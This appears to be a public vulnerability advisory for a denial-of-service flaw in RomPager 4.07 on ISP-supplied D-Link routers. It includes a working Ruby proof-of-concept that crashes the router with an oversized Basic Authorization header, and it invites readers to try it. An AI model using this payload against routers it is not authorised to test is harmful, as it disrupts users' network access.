RomPager 4.07 Denial Of Service

`Software: "RomPager/4.07 UPnP/1.0"  
  
Issue: A reboot can be caused when a special crafted http request is sent.  
  
Other Details: This version of RomPager is seen on a number of  
residential routers that are shipped by a number of different ISP's.  
The router I personal know it effects is the d-link DSL-2640R shipped  
by virgin media. I also do believe this effects the d-link DSL-2641R.  
  
I have made www.allegrosoft.com aware of the issue ( the creators of  
RomPager ) and they have stated that version is very old and out dated  
and should no longer be used and they stated they have been un able to  
replicate the issue. This would lead me to believe it has something to  
do with the ISP's customer firmware, I have contacted virgin media to  
make them aware of the issue ( this was over a month ago ) so I am now  
making this public.  
  
If other people have a home router running the RomPager 4.07 software  
please try the ruby script provided bellow and see if your router  
restarts as well then add the make and module of router along with the  
location this was obtained.  
  
This is a assumption however I do think this could be further  
exploited by close investigation with jtag access to the device,  
however at the moment I am guessing the routers software watch dog  
kicks in and restarts the router  
  
Ruby Script:  
  
require 'net/https'  
  
url = URI.parse("http://IP/")  
data = nil  
headers = {  
"Host" => "IP",  
"Authorization" => "Basic  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  
}  
res = Net::HTTP.start(url.host, url.port) do |http|  
http.use_ssl = false  
http.send_request("GET", url.path, data, headers)  
end  
  
puts res.body
